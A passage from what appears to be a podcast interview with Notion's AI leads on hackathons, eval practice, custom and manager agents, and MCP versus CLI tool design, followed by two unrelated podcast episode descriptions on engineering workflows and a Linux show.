demos day for the hackathon we had last week this morning. That's more for people that aren't directly working on the project, feeling like they have the time to pause and learn how to make themselves more productive or how they would use notion custom agents to build something.Or part of the hackathon was actually encouraging everyone across the company to build their own agentic tool loop, calling from scratch. Follow like an every blog post on how to do what I think because we want[00:14:26] swyx: just with the compound engineering one. Yeah.[00:14:28] Sarah Sachs: We want everyone to use cloud code in the company or whatever the coding agent they please and understand that fundamental.So we set aside a day and a half. We're all leadership, encourage everyone on their teams across the company to do it. So we have hackathons like that. I would say like kind of facetiously, like everything we build is a little bit like a hackathon until it graduates and puts on big boy pants and as a product ops rollout leader and has a assigned data scientists and stuff like that,[00:14:54] swyx: security review enterprise stuff,[00:14:56] Sarah Sachs: actually security reviews one of the things that we bring in first because it just slows us down way more and, um, causes a lot of tension and they build better product if they're involved early.So, um, that is probably the first person to get involved in something that's the[00:15:09] swyx: right PR approved answer.[00:15:10] Sarah Sachs: No, but it's not just PR approved. It like, um, um, it's[00:15:13] swyx: actually real. It's actually real. It's like, um, I'm just saying scar[00:15:15] Sarah Sachs: tissue.[00:15:15] swyx: Yeah,[00:15:16] Sarah Sachs: because like, you know, my background's also, I worked at Robinhood for a number of years.Yes. So like, uh, compliance and things like that, um, are a little bit more, you learn the hard way when it doesn't come naturally.[00:15:26] Simon Last: Yeah. I think the. The hackathon is really important for uplifting the general population, but like, if that's the only way you can build new things, you're kind of toast. I mean, it, it has to be like the daily processes, like, you know, building these new things.Um, and it has to be about, I think like, I think in the AI era a lot more leverage accumulates to the most curious and excited people. And so it's like we're all about just like activating that energy. You know, like if someone's protesting something on the weekend that they're excited about and it's important, that should be the main thing that we're doing.Yeah. Um, it's not a hackathon that we schedule once a quarter, it's just like, yeah. Daily process. Part of the culture.[00:16:02] Sarah Sachs: I mean, that's how we shift image generation and notion now. It was always this thing that would be kind of nice to have, but it wasn't really clear where that was necessarily aligned in product priorities.It'd be a lot of work. And we had someone on the database collections team, Jimmy, who was like. I really wanna do image generation for cover photos and inside notion. And we're like, if you wanna build it, like it's, do it please. Like we encourage you. We gave ‘em all the resources of working directly with Gemini and being able to like track the token usage and it working through endpoints.We gave them eval, support, everything, and then became a, a full project.[00:16:34] Alsesio: Yeah.[00:16:35] Sarah Sachs: That's why you can't have like ego as a, a leader. Like that's, that's how we work.[00:16:39] Alsesio: What's the size of the team today, both engineering and overall?[00:16:43] Sarah Sachs: I manage, uh, the team. That's what we'll call it. Core AI capabilities and infrastructure.That's about 50 people. But then we have per i partner teams that do packaging. So how it shows up in the corner chat versus custom agents versus meeting notes, that's another 30, 40 people. And, and then every team that has a product service at Notion that a user can interface with owns the tool that the agent interfaces with the editor team.The team that did CRDT for offline mode is the same team that handles how two agents, um, edit competing blocks. Mm-hmm. Right? It's the same problem. The team that built the underlying SQL engine is the same team that owns how the agent asks it to run a SQL query, and it does it performantly. And so from that regard, anyone working on product engineering is tasked with making them work for customers that are humans and agents because over time the majority of our traffic will be coming from agencies using in our interface, not humans.And so. Our objective is to make it so that the whole product org is building for agents.[00:17:40] Alsesio: Yeah. How has it changed internally? The activation bar is kind of lowered a lot. Like anybody can kind of create a prototype very, somewhat easily, especially if you're like an existing code base. Have you raised the bar on like what type of prototype people need to bring forward to gonna be taken?Not like seriously, but like, you know what I[00:17:58] Simon Last: mean? Yeah. I think the bar is lowered in many ways. Be like, one thing our, uh, our team built that is really cool is our, uh, our, our design team made a whole separate GitHub repo, uh, called the, the design Playground. And it's basically just to create a bunch of like, like helper components and you, uh, for, for quickly a throwing together UIs.And it's become like actually quite sophisticated. Like it has like an agent in there and like, uh, that's pretty fun. So like, we pretty much, like, they don't do mocks, they just make like, like full, full prototypes.[00:18:27] swyx: Here it is. It works.[00:18:28] Simon Last: They give you like a u rl. They're like, okay, all right. So we have to make the, like the real production version of that.Um, and then for engineers. A prototype looks like just making it a feature flag that actually works. Like that's sort of the bar.[00:18:39] Sarah Sachs: Something to understand that's really unique about notion. One of the reasons I joined we're super lucky is no one uses Notion in their job as much as people that work at Notion.[00:18:46] Simon Last: Of course.[00:18:47] Sarah Sachs: So I think there's very few companies, maybe if you worked on Chrome I guess, but like everything that we ship, we ship internally first and get a lot of really quick feedback. And also sometimes our dev instance is totally borked and you have to change a bunch of flags to get things done. And that's kind of like, but everyone, so people that do it ticketing, people that do supply chain procurement, recruiting, everyone is using the same instance of notion with like a lot of flags on for these prototypes people build.Um, and so we have this, Brian Levin, one of the designers on our team, I think evangelize this concept of demos over memos.[00:19:18] swyx: Ooh, too[00:19:20] Sarah Sachs: good. Um, which has been, uh, very good for building demos, and I think it's put a big pressure point on us to have really strong product conviction, because if anything can be demoed, you really need a strong filter of making sure that if you know, you're doing X amount of work, you're making the, you're, you're focusing on one tower, you're not just building a really flat hill.Right. That's actually where I think there has to be more conviction from our PMs, um, and our designers and, and well, the company really to have conviction of what journey we're going on.[00:19:52] Simon Last: But overall, I feel like it works pretty well. Like people, almost all the engineers have good enough taste to realize that like, this prototype doesn't actually make sense in the product, or, or it does.So it's not that common that I would see a prototype. It's like, oh, this makes no sense. Mm-hmm. It's like, you know, people are doing reasonable things and, and, and then it's just a matter of. Which things we build first and then often just, just figuring out how to turn it on and off. There's our, in the, in our like experimental chat ui, there's this, there's probably like, like a hundred check boxes in there.[00:20:22] Sarah Sachs: Kills me[00:20:23] Simon Last: the things you could turn on and off.[00:20:25] Sarah Sachs: Uh, but I think that, okay, so that is kind of true, Simon, but like being the person that manages the evals team, like there is a level of intensity that it adds to the platform team. So, you know, if we're gonna do image generation and notion, all of a sudden the way that we do attachments and the way that we, um, our LLM completion like cortex talks and expects tokens back and now it's getting images back.Like there's a lot of platform work that we do need to, like solidify a little bit. So sometimes it'll be in dev for a couple weeks before it makes it to prod just because we still have to like, make it robust, make it HIPAA compliant, ZDR compliant, figure out the right contracting with the vendor, whatever it is.And we need to eval it because we want the team. To still maintain what they build. That's the one thing is like if we have a bunch of prototypes, it can't just be like a small group of people that then maintain whatever end prototypes. So we have invested a lot of people in an eval and model behavior understanding teams that, we call it agent dev velocity.So your dev velocity building agents can be faster if we invest in that platform. And so we have a whole org dedicated to Asian, um, platform velocity so that you can build your own eval and then maintain it once you ship it. So if a new model release comes out and we, every[00:21:38] swyx: team maintains their own eval,[00:21:40] Sarah Sachs: we maintain the eval framework.Every team owns their own evals and a lot of them we've integrated to Optin, to ci, or we run them nightly and we have a team, uh, a custom agent that triggers to a team to look at the major failures. That's really critical because if we have like all these different surfaces now, a lot of it's on the same agent harness, so it's easier to maintain.It's just packaging of different agent harnesses, but new functionality of the agent. Let's say that like we wanna update like. Uh, you know, they deprecated, sonnet, um, four or whatever it is and we need to auto update. Are[00:22:11] swyx: they already? That's so, okay. Yeah. Actually wasn't that long ago.[00:22:14] Alsesio: Theywere[00:22:14] Alsesio: just 3.5.[00:22:15] Sarah Sachs: 3.537. Just got deprecated.[00:22:18] swyx: 3 7, 5 0.2 or, yeah. No,[00:22:20] Sarah Sachs: it's not. 5.2 is five point. Five point no. Yeah, five four is 40% more expensive than five two. So if they deprecated five two, you would hear they can, you would hear from me about that one. Um, but, uh, another conversation to have.[00:22:35] swyx: I have a cheeky evals question for you.Have you noticed any secret degradation from any of the major model providers?[00:22:40] Sarah Sachs: Secret degradation,[00:22:42] swyx: like. During the War Bay, when it's high traffic, it suddenly gets dumber.[00:22:47] Sarah Sachs: Yeah. I mean, not just between the, I mean, we definitely notice flakiness, we've definitely noticed, particularly for some providers, that things are slower during working hours and[00:22:57] swyx: there's a latency argument.Yes. Not a quality argument.[00:22:59] Sarah Sachs: No. I think the quality difference that's interesting is, um, even though companies that say they're selling the same, a, it's really into like quanti quantization, but like companies that say they're selling the same model through different vendors, whether it be through first party or Bedrock, Azure, et cetera.We do see different qualities sometimes, and that's not necessarily what's advertised.[00:23:21] swyx: Yeah. Kidney went to the point of like, if we, they shipped like this, like eval across all the providers and it was like very obvious we were secret equalizing and it was very,[00:23:28] Sarah Sachs: yeah. But[00:23:29] swyx: that's very embarrassing.[00:23:30] Sarah Sachs: You know, um, we hire Subprocess to figure that out for us.So we just wanna understand where it's regressing or where it's optimized. And sometimes we're okay with regressions that optimize latency if they're the appropriate regressions. Our job is to make sure we have the evals to understand the changes that are important to us. And even like when we're partnering with labs on pre-releasees of models, they'll send us multiple snapshots.And this is less about quantization, but more just regressions. Like they have shipped models that were not the snapshots that we wanted, and they have changed the snapshots that they shipped based on the feedback that we give. Because our feedback tends to be more enterprise work focused and not coding agent focused.And definitely those can be bummers, like, you know, uh, we know that this wasn't the version you wanted, but we'll help you make it work. I mean, we always make it work, but that definitely happens.[00:24:16] Alsesio: Yeah. Do you have, um, failing evals that you're just hoping, oh, that will have success eventually when a good model comes out?[00:24:23] Sarah Sachs: Uh, I mean, yeah. So I think. I mean, I could talk about this for 60 minutes, so I will limit myself. I think it's a real issue when people say evals and it's just like, that's quality, that's like unit, I mean, it's like saying testing. It's not just unit tests, right? So. We have the equivalent of unit test.Regression test. Those live in ci, those have to pass a certain percent, you know, within some stochastic error rate. Then we have, as you're building a product, evals of these aren't passing right now, and this is launch quality. So we have a report card and we need to, on these categories, you know, be it 80 or 90% of all of these user journeys to launch, and then what we have what we call frontier or headroom evals, where we actively wanna be at 30% pass rate.And that's actually been a effort that we took in partnership with philanthropic and OpenAI in the past maybe two or three months, because we actually hit a point where our evals were saturated and we weren't able to really give insightful feedback other than it wasn't worse. And not only is that not helpful for our partners, it's not helpful for us to understand where the stream is going.You know, going back to that analogy. And so we spent a lot of time thinking about. What notions last exam looks like, right? Mm-hmm. Not just humanities, last exam. Ooh, notions last exam. Mm-hmm. And, um, there's a lot of, you know, dreams about what that would look like. I know we've talked a lot about benchmarking, um, swix, but, uh, yeah.Notions last exam is a big thing inside the company and we have people, full-time staff to it exclusively. Mm. We have a data scientist, a model behavior engineer, and an full-time, um, evals engineer just dedicated to the evals that we pass 30% of the time.[00:25:56] swyx: What you're hiring for[00:25:57] Sarah Sachs: MBEs? I am hiring[00:25:58] swyx: What is an MBEA[00:25:59] Sarah Sachs: model?Behavior Engineer Model. Behavior engineers started with a title data specialist before I joined when they were working with Simon on like, uh, Google Sheets and like Simon just needed someone to look through Google Sheets and say, yes, no, this looks bad. This looks good. Right? And so we hired people with kind of diverse linguistics background.We had like a linguistics PhD dropout. Mm-hmm. And a Stanford ate new grad. And they're amazing. And they formed a new function basically. And over time we've built a whole team, um, with a manager who's now kind of reinventing what that role is with coding agents. So they used to be kind of manually inspecting code.Now they're primarily building agents that can write evals for themselves or LLM judges. There's a really funny day I can send you the picture where Simon, about a year and a half ago, was teaching them how to use GitHub. Um, and they're on the whiteboard and it was like, okay, I think it would be so much faster if our data specialists learned how to use GitHub and like learned how to commit these things in Dakota.And, and that was then and now I think, you know, coding has been a lot more accessible. Um, but moving forward it's this mix of like data scientist PM and prompt engineer because there's craft in understanding like even like what models can and can't do things. How do we define like that headroom? How do we define like what a good journey is?Um, is this model better or not? Why is this failing? There's some qualitative work, but then there's also like a lot of instinct and taste to it, and that's not necessarily software engineering. And so we have like very firm conviction and we have had for a number of years now that that is its own career path and we have always welcomed the misfits, so to speak.So we really firmly believe that you don't need an engineering background to be the best at this job. And that's what's quite unique about this particular role.[00:27:37] Simon Last: Yeah, this is something that I've been pretty excited about recently is we made an effort basically to treat the eval system as like an agent harness.So if you think about it, like, you know, you should be able to have an agent end-to-end, download a dataset, run an eval, iterate on a failure, debug, and, and then implement a fix. And ultimately you should be able to, you know, drive the full time process with a human sort of observing the, you know, the outer uh, system.So yeah, we went, went pretty hard on that. And that's, that's worked extremely well so far. It's like basically just to turn it into a coding agent, uh, uh, problem.[00:28:11] swyx: Your coding agent or just whatever[00:28:13] Simon Last: harness No coding agent. Yeah, code, cloud code. It should be totally general. Yeah. I think if it would be a mistake to like, like fix it on any, any particular coding agent.At the end of the day, it's just like CLI tools.[00:28:21] Sarah Sachs: It's like the same way that you would've a coding agent write the unit test. You should have a coding agent write the eval.[00:28:26] swyx: Yeah.[00:28:26] Sarah Sachs: But there's a lot of supervision in that still. We just don't believe that supervision has to come from software engineers because a lot of it is like, um, kind of you XREE and whatever, and these are the people that also triage failures and tell us where we should be investing next.[00:28:40] swyx: Yeah. I'm gonna go ahead and ask a spicy question. Is there a data, there are no software engineers at Notion.[00:28:46] Simon Last: Um,[00:28:46] Sarah Sachs: what does it mean to be a software engineer?[00:28:47] swyx: Exactly.[00:28:48] Simon Last: I mean, I think the way things are going is like we're on some continuum where. If, if you look back three years ago, humans were typing all the code and then we had auto complete, you're typing list of the code.Then we had sort of like filling agents, filling lines, and now we're getting into like agents doing longer range tasks where you can debug and implement a fix and then verify it works and you know, get your, get your PR even like, like Merion deployed. I think we're sort of just moving up the abstraction ladder and then the human role becomes more about observing and maintaining the outer system.There's a string of agents flowing through, like me prs what's going off the rails. Like what do I need to approve? Is there like a learning or memory mechanism that that works? So it's kind of a hard engineering problem. There's a, you know, there's, there's a lot to do there. I think we're just sort of moving up stack[00:29:34] Sarah Sachs: the same transition machine learning engineers have made, right?Like I haven't looked at a PR curve in a while.[00:29:39] swyx: Yeah. You used to do this stuff and now, um, auto research can do it,[00:29:42] Sarah Sachs: right? Like I think it depends on what you define as a software engineer.[00:29:46] swyx: Yes. It's, that's changing for sure.[00:29:49] Sarah Sachs: I think every software engineer in notion this summer went through like this, um, sheer, um, one of our engineering leads of the company called it, like every software engineer is going through the, the, uh, identity crisis that every manager goes through, where all of a sudden they realize their ability to write code is less important than their ability to delegate in context switch.And I think that is a transition out of being a software engineer. But[00:30:12] Simon Last: yeah. Yeah, there's a critical difference to being a manager, which is that like, it is actually very deeply technical. The problem, you know, humans are very like, like, like fuzzy and you can't like treat a team of humans like a, like a rigorous system where like, you know, prs like, like flow through and can be in like a block status and then what happens when they're blocked, right.With a set of agents, you actually can do that. And, and, and I think it's actually, there's a lot of interesting technical rigor that that goes into that it's like it's a technical design problem. Ultimately.[00:30:42] Alsesio: What is the design of the software factory that you're building?[00:30:46] Simon Last: Yeah, I mean, I think we're. Trying a lot of different things.I mean, ultimately you want to design a system that requires as little human intervention as possible, but like still maintaining the in variance that, that you care about. So yeah, we're exploring a lot different ideas there. I mean, I think I could talk about a few things I think are important there.Like, one thing I think is really important is, um, having some kind of like specification layer you can just commit marked on files. Mm-hmm. That works pretty well, but[00:31:15] swyx: it's nice to be notion man. I'm just saying like the spec, like Yeah. The natural home for specs is notion.[00:31:21] Simon Last: Yeah. Right. It can be a database of pages.Yeah. I mean, it needs to be something that is, you know, human readable and I viewable and I think that's pretty key. Another really key component is like the, the self verification loop. Yes. You need really, really good testing layers, basically. And that's a really deep, uh, uh, problem. But by getting that right, you know, and then, and then it's kinda like the workflow of like.What happens when there's a bug? How does it flow into the system? Like, is it like a subagent working on it? How does it make a PR and how does that get reviewed? And me, and then, you know, so there's like the, the flow or process.[00:31:56] swyx: Yeah. Cool. Uh, you know, one thing we did work out before you guys came in was this demo or this[00:32:01] Simon Last: agents[00:32:02] swyx: agent demo.Uh,[00:32:03] Simon Last: so every,[00:32:04] Alsesio: every time we do an episode, we try the product. Right. I don't think there's ever been an episode that I haven't tried. Yeah. Um,[00:32:11] swyx: and we, we try, try is a, a big word. Like since day one lane space has been on Notion, but this is the, this is the net new thing. Yes.[00:32:18] Alsesio: So this is for Nel Labs, which is the space we're in.So next week we're opening applications for tenants. So there's a web form, let me, we got this form done here. Uh, so, uh, before. Uh, the workflow would be I get an email, then I look at the person. It was like, should I spend time talking to this person? Then I respond, they respond back. So I build this. So the name it came up for on its own.Can you maybe h how do, how does it come up with its own name?[00:32:43] Simon Last: Yeah, that's a pretty app name. It's, it, it is just a random, it's a random, a name generator.[00:32:47] Alsesio: Oh, that's funny. It just came,[00:32:49] Simon Last: the fact that it picked that is, is kind of hilarious. I'm pretty sure it's just determined,[00:32:54] Sarah Sachs: resilient collector. I, I think I've never looked at the code for that.I've never second guessed it. I think it's kind of like a madlib situation.[00:33:00] Simon Last: Yeah, I think you're right. Yeah. It's, it's totally a, a deterministic. Oh, I thought it was great. Yes. Although, although when the, if you use the AI to set itself up, it can update its own name, so. Okay. Um,[00:33:11] Sarah Sachs: how did you create it? It, did you just do[00:33:12] Alsesio: classroom?I,[00:33:13] Sarah Sachs: okay.[00:33:13] Alsesio: I did, yeah. I'll say just check my inbox for applications for a coworking space. Keep a people, so it created the database for me. Which I have here. And I guess database is like an notion table because everything is notion. Um, and then whenever um, an email comes in, like here, it just creates a new role for the person.Mm-hmm. And then it uses web search to enrich the mm-hmm. The profile. So it kind of like searches the web and it's like, this is who this person is, this is when they say they wanna move in and kind of updates everything else. This is, I mean, it's not a GI, but to me, I don't wanna do this work. So it feels like, I mean, it took me maybe like 15 minutes to set up the whole thing.Um, and I really like that most of the information should live here. You know, it is not like some other tool asking me[00:34:01] Sarah Sachs: Yeah.[00:34:01] Alsesio: To like, bring my stuff there. It's like I would've probably already created an ocean thing.[00:34:06] Sarah Sachs: Mm-hmm.[00:34:06] Alsesio: So[00:34:07] Sarah Sachs: most of our biggest use cases and gains are from. That extra layer of human involvement in the process to make it so right.And so like one of our biggest use cases is bug triaging. So if someone posts something in Slack, can you just have a custom agent that lives there that has its own routing constitution of what team this belongs to, creates a task in your task database and then posts in that Slack channel, right? Like that's like one of the first things that we built internally, I think.And it's completely changed the way that notion functions as a company. Nothing falls through, well, most things don't fall through the crack. We don't know what we don't know. But it's not replacing people, it's replacing processes.[00:34:44] Alsesio: Yeah.[00:34:44] Sarah Sachs: Right.[00:34:45] Alsesio: And I'm curious how you think about composability of these things.So the other one I was working on is like a. These filler. So whenever somebody signs up as a tenant, kind of he'll sell the lease for them. There should probably some agent that is like office manager agent mm-hmm. That can handle the request, make the lease, and then, uh, give them a ADA access to the office and all of that.How do you think about that feature?[00:35:08] Simon Last: Yeah, so I mean, there's, there's two ways you can compose. One way is by using like the data primitives. So you can, you know, you, you could give, you have one agent, uh, be writing to the database and there's another agent that's walked in the database. So that's, that's one way that they, they can coordinate that's like a little bit more decoupled and mm-hmm.Works really well. Or you, you can couple them. So I, I think it's actually not released yet. Releasing it like next week is, uh, in the settings for an agent, you can give access to invoke any other agent.[00:35:34] swyx: Hmm.[00:35:34] Simon Last: So you can have them just. Just, uh, uh, talk directly. So[00:35:37] swyx: you, was there a limit on like, number of recursions or just,[00:35:40] Simon Last: um, probably,[00:35:42] swyx: you know what I mean?Like, you can just get an infinite loop that way there's[00:35:45] Simon Last: some kind of Yeah,[00:35:46] Sarah Sachs: I think it's, there is actually a number somewhere.[00:35:49] swyx: I believe I'm just, you know, like, you're, you're, someone's gonna screw up. You[00:35:51] Simon Last: should you try to see[00:35:53] swyx: Yeah. I mean, everything's gonna be paperclips.[00:35:55] Simon Last: Oh, yeah. Yeah. But, uh, but, but that's really useful.Yeah. So we, you know, like I just, I, I helped, uh, someone internally the other day, they had, they had built like over 30 custom agents for, uh, for our go to market team doing all kinds of different things. You know, for example, like researching, you know, like, like filling information about, about a customer or like, like triaging customer feedback or like, uh, something like that.Literally over 30 of them. And, and then he, and then he even made like a database of all the agents and then he is like, okay, and, and now I'm getting 70, over 70 notifications per day with just the agents are blocked on various things. Uh, and then I was like, oh, okay, cool. You know, the obvious thing to do there is to make a manager agent,[00:36:32] Sarah Sachs: right?[00:36:33] Simon Last: That's gonna sort of blocks be another abstraction layer in between your, your, uh, uh, 30 agents. Uh, so yeah, we, we send out with like a manager agent and then has access to invoke all the other agents and it's sort of like, like watching and observing them and then it sort of, it just creates a layer of abstraction.So instead of 70 notifications per day, it's like, like five. And then, and then the manager agent can help like, uh, debug and fix any problems with the,[00:36:54] swyx: does this is a concept of like an inbox or something like piece, you're basically saying that they can message each other?[00:37:00] Simon Last: Yeah.[00:37:01] Sarah Sachs: Well[00:37:01] swyx: they use the system of record, which, which is[00:37:02] Sarah Sachs: notion, so we[00:37:03] Simon Last: actually, yeah, we didn't make any special concepts at all.[00:37:06] swyx: They're interested to the motion notifications that I would've got,[00:37:09] Sarah Sachs: they can just like write a task to a database that the other agent's task to listening to, or they can actually call a web book to the agent, like they can just add the agent. Okay.[00:37:17] Simon Last: Yeah, I mean, this is something that, that we're still working on.I, I think we, you know, like, like generally, generally the way we do these things is, you know, you first make it possible, maybe like a sort of janky way. So I, I, I think the way I set ‘em up is like, you know, we created like a new database that was sort of like issues mm-hmm. That the custom agents were, were experiencing, and then gave them all access to file an issue and then the manager has access to, to read the issues.Um, and that works pretty well, essentially like, like give it its own like internal issue tracker just for the agents. And then, you know, if that becomes a, a concept that seems useful, generally maybe we will think of how to package it in. But I mean, generally we try to just keep it to composing the primitive if we can.You know, another example of this is we have no built-in memory concept. Memory is, is just pages and databases. And so if you wanna give a memory, just give it a page and give it. Edit access to that page and the[00:38:03] swyx: human can edit it. Agent can edit[00:38:04] Simon Last: it. Yeah. And so that works, that pattern works extremely well on it.And you know, depending this case, you can have it be just a page or it could be an entire database with, you know, or, you know, I can have sub pages is is pretty on what you can do with that.[00:38:15] Alsesio: So when I was setting this up, uh, I connected my inbox and it was like, do you wanna use Gmail or Notion Mail? And I'm like, I don't wanna use Eater, I just want you to do it.I'm curious how you think about, you know, notion, mail, notion, calendar, all of these kind of ui ux interfaces, full stack[00:38:29] Simon Last: notion.[00:38:30] Alsesio: Yeah. When like at the same time you have the agents abstracting them away from you in a way, you know, how do you spend like the product calories so to speak?[00:38:37] Simon Last: Yeah, I mean, I think it's pretty important that you don't have to use, not your mail to connect to the mail capability.So we can just connect to Gmail or, or whatever you want, uh, to use. And we're thinking of the mail service as being really great to the extent that it's really agent built, right? So maybe the mail app is just sort of a prepackaged agent that helps you automate your, your inbox.[00:39:00] Alsesio: Yeah, the auto labeling is great.Think[00:39:03] Sarah Sachs: the, when we, um, integrate with Gmail for instance, we have a series of tools available that are available via MCP or API to Gmail. When we integrate with Notion Mail, we have the Notion Mail engineering team to build us the, um, exact right tools that optimize latency, optimize performance and quality.They own that quality. Um, there's product leads there. They're directly thinking about the user problems that happen in mail. So it tends to be when we build integrations and connections, we build natively first. Um, and then think about, um, extending them generally just because it's also easier. Mm-hmm. Um, um, to build natively first.Um, so that tends to be how we phase things out.[00:39:43] swyx: Talking about integrations, you prompted me, so I gotta ask. M-C-P-C-L-I. What's going on? What's the[00:39:48] Simon Last: Yeah. Opinion. I think, I mean, I'm, I'm definitely bullish and excited about cli. I think there's a few really cool things about cli. So one really cool thing is like, um, is that it's in the terminal environment, so it gets a bunch of extra power.So it, you know, for example, it can like, like paginating and cursor through like long outputs. Um, and it has a progressive disclosure inherently. Uh, so, you know, you don't see all the tools at once. It's just, you see the CLI wrapper and you can like use the, the help commands and, and, and read files. And then I think the most important thing that's, that's super cool is that there, it's also inherently a, a bootstrapped.So if there's an issue, uh, the agent can debug and fix itself within the same environment that it uses the tool.[00:40:30] swyx: Mm.[00:40:30] Simon Last: Right. Like, you know, I think I saw a tweet this morning. Someone said, you know, my agent didn't have a browser, so I asked it to make all a browser tool and within a hundred lines of code, it gave itself a little browser, like, like wrapping the, the, the chromium API, um.That's pretty incredible. And then if there was a bug, it would just immediately try to fix it. Mm-hmm. Right. On the other hand, if you use an, you know, if you use like of, of the Chrome dev tools, MCP, I've had this issue where like, like sometimes the transport gets like messed up. If it gets messed up, the agent has no way to fix itself.It, it no longer has a browser, it's, it's not broken. Right. I think that's, that's pretty fundamental, but I would say like a lot of the, the bad things about it can be fixed. Uh, so I think like, as a progressive disclosure, that can be fixed with, with right harness. Like, it, it obviously doesn't make sense to show it all the tools all the time.That's not really inherent to the MCP protocol. It's just like how you wrap it and use it.[00:41:16] swyx: There's many poorly built MCPs because we didn't know.[00:41:19] Simon Last: Yeah, yeah. I mean it was just early, like, like the obvious thing is, uh, you know, to start with is, is to just show it all the tools and it's like, okay, now we have a hundred tools.Yeah. And like the tool calling actually works. So let's of[00:41:28] swyx: your success[00:41:29] Simon Last: give it a way to like, like filter to source the tools. So yeah, I would say like broadly speaking, I'm really bullish on cli. I'm still bullish on CPS and in a certain environment. I think in, in particular, CP is really great for when you want sort of like a narrow, lightweight agent.I think there's, there's definitely a lot of use cases where, where you don't want like a full coding agent with a compute run time. And also you want it to be like more tightly permissioned. MCP inherently has a really strong permission model, like all you can do is call the tools. A CLI is a little bit murkier.It's like, can I access the, if PI token are you, like, properly sort of like re-encrypt the token so it can't like exfiltrate it, it introduce a lot of like, like new issues, which are. Real and hard to solve. And MCP is just like the dumb simple thing that works and it that it's pretty good.[00:42:12] Sarah Sachs: I'll add two more perspectives, not from it working well for Notion, but how notion like commits to both platforms.Notion is dedicated to being the best system of record for where people do their enterprise work. So we will always support our MCP and so far as other people are using cps, right? So regardless of our perspective, we've put a lot of effort into our MCP and we have a fantastic team that we're building, um, to do more there.And the second thing I'll say, I think, um, we all think a lot, but lately I've been thinking a lot about making sure there's a value alignment and pricing, um, with capability.[00:42:43] swyx: Literally our next question[00:42:44] Sarah Sachs: and. Needing language to execute deterministic tasks feels wasteful and requiring on a language model to interface with third party providers seems wasteful for tasks that don't require it.And particularly because our custom agents are using usage-based pricing. We think of pricing as like the barrier of entry for use of our product, and we're quite committed to making sure that it's not wasteful. Um, not just because it's a bad deal for our customers, but it's also bad business. We wanna have as many buyers, like there's a, there's an elasticity of demand and so if we can have our agents properly execute code that calls on CLI deterministically, it's a one-time cost, right?Versus constantly having a language model integrate with an MCP over and over and over and paying those like repeated token fees and it's happening outside the cash window, then you're paying for it over and over and over and it's just kind of unnecessary and less deterministic when it doesn't have to be.[00:43:36] Alessio: Yeah, the open-endedness I think is like, the main thing is like, well, if I go write code to just call an API, I would never use an MCP. But then you need an NCP sometimes when you know what to call, but you don't want it to restart versus like, I think the it built a browser from scratch is like, it's great when you're doing it on your own, but like if your customers were having your AI write a browser from scratch every time and you had to pay the token cost of that, yeah.You'd be like, no, no. The Chrome dev tools CP is actually pretty great. Just use that. I'm curious, how do you make that decision? Like should it be. Just straight API call very narrow. Should it be an MCP? Should it be super open-ended?[00:44:10] Sarah Sachs: Do you mean for when we ship notion capabilities or when we add capabilities to[00:44:13] Alessio: notion[00:44:14] Sarah Sachs: AI or,[00:44:14] Alessio: I mean, you might have a capability that the only way to do is an open-ended agent, like an agent with a coding sandbox.[00:44:21] Sarah Sachs: Yeah. In Notion ai they're not explicit, not We also ship an MCP.[00:44:24] Alsesio: Yeah. Yeah. In B,[00:44:25] Sarah Sachs: yeah.[00:44:26] Alsesio: Internally. Okay. Like is there ever a discussion of like, we're not gonna ship it because we're not able to tie it down? Or are you happy to just like,[00:44:33] Sarah Sachs: um, no. I mean, there are a lot of things where we choose not to use MCP because we wanna add more high touch to quality.I think search an agent to find is like the largest instance of that, where we have. Um, slack and linear and Jira search and notion that is not using necessarily the search MCP functionality that is provided by those companies. And that's because it's quite critical we think, to how our agent trajectories work is for us to have a little bit more control on the functionality of the search journey.And so it usually comes from quality and there's a long tail of things and that's why we built an MCP client or an MCP server, excuse me, so that people can connect whatever they want. There's that long tail, right. But we, for search particularly, I would say that's like the primary entry point, but there are other connections as well that it's a little bit of secret sauce a
Your tool set isn't just a collection of utilities — it's the environment you live in every day, and it's shaping you whether you realize it or not. In today's episode, I explore two principles that senior engineers consistently apply to their workflows, regardless of which specific tools they're using. As our industry goes through one of the most rapid periods of change in the last 20 years, the engineers who thrive won't be the ones chasing every new tool — they'll be the ones who obsess over reducing friction in the work they do most often. Honor the Grief: Many engineers are experiencing a real sense of loss as the deep cultural connections to languages, communities, and hand-written code begin to shift. Recognizing and processing that grief — rather than letting it turn into reflexive rejection of new tools — is essential to thinking clearly about what comes next. "We Shape Our Tools, Then Our Tools Shape Us": Your tools aren't neutral. A bad monitor height, a faulty keycap, or a clunky deployment process all shape you back — draining focus, breaking flow, and compounding over time. The most senior engineers treat this relationship as a first-class concern. Principle 1 — Tools Are Your Environment: There's a spectrum from "tool" to "environment," and most of what you work with sits somewhere in between. Your terminal, your desk, your claude.md file — all of these are environment. Sharpening your tools means shaping your environment, and shaping your environment is sharpening your tools. Friction Is the Lever: You don't need a dramatic overhaul to change your behavior. Tiny reductions in friction — a two-letter alias, a key binding to run tests, setting your shoes out the night before — have an outsized effect on how often you actually do the things you want to do. James Clear's Atomic Habits framework applies directly to engineering workflows. Principle 2 — First Order Thinking: Borrowed from Adam Savage's concept of "first order retrievability," the idea is simple: identify what you do most often and invest in making that better. Not faster, not just automated — better. If you do something a hundred times a day, even a small improvement compounds dramatically. Invest in the Fundamentals: Your standups, your one-on-ones, your specifications, your prompting skills — these are the repetitive, high-frequency activities where your biggest growth opportunities live. Stop assuming you've "arrived" on the basics just because nobody is giving you negative feedback. Episode Homework: Look around your workspace right now — physical and digital. Identify one thing you do repeatedly where friction is slowing you down or discouraging follow-through, and make one small change to reduce that friction today.
The self-hosted app that turned Chris into a family Time Lord, then we iterate on a long-desired hardware hack.Sponsored By:Jupiter Party Annual Membership: Put your support on automatic with our annual plan, and get one month of membership for free!Managed Nebula: Meet Managed Nebula from Defined Networking. A decentralized VPN built on the open-source Nebula platform that we love.Support LINUX UnpluggedLinks:
